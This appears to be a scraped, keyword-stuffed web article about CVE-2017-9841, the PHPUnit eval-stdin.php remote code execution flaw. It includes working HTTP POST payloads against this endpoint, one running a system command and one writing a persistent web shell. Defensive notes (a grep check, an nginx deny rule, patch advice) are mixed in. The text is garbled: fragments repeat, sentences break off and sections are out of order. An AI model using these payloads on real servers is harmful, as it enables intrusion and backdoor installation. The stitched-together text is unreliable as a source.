Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Cve !!better!! [A-Z Full]

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: victim.com Content-Type: application/x-www-form-urlencoded <?php system('id'); ?>

This article dissects the vulnerability, its root cause, the exploitation mechanics, and why a single file inside a unit testing tool became the darling of penetration testers and malicious attackers alike. PHPUnit is the de facto standard for unit testing in PHP. It is a development dependency, not a runtime dependency. In an ideal, secure world, PHPUnit resides only on a developer's laptop or a CI/CD server. vendor phpunit phpunit src util php eval-stdin.php cve

As a developer, the lesson is simple: Never routable, never directly accessible. As a security professional, never underestimate the power of simple file existence checks—sometimes the smallest file delivers the biggest breach. Reference Quick Sheet | Item | Value | |------|-------| | Vulnerability | Remote Code Execution (RCE) | | CVE | CVE-2017-9841 | | Affected File | vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | | Attack Vector | HTTP POST to that file with PHP code in body | | Patch | Remove PHPUnit from production / upgrade to PHPUnit ≥ 7.0 | | Detection | grep -r "eval-stdin" /var/www / web logs for POST to that URI | POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin

The critical oversight: No authentication, no IP whitelisting, no php_sapi_name() check to ensure it runs via CLI. When exposed to a web server, it transforms into an unrestricted RCE gadget. Basic Attack Vector An attacker simply sends a POST request to: In an ideal, secure world, PHPUnit resides only

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 <?php file_put_contents('shell.php', '<?php system($_GET["cmd"]); ?>'); ?>

<?php // Original vulnerable code (simplified) eval('?>'.file_get_contents('php://input')); That’s it. Just two lines.

location ~ ^/vendor/ deny all; return 403;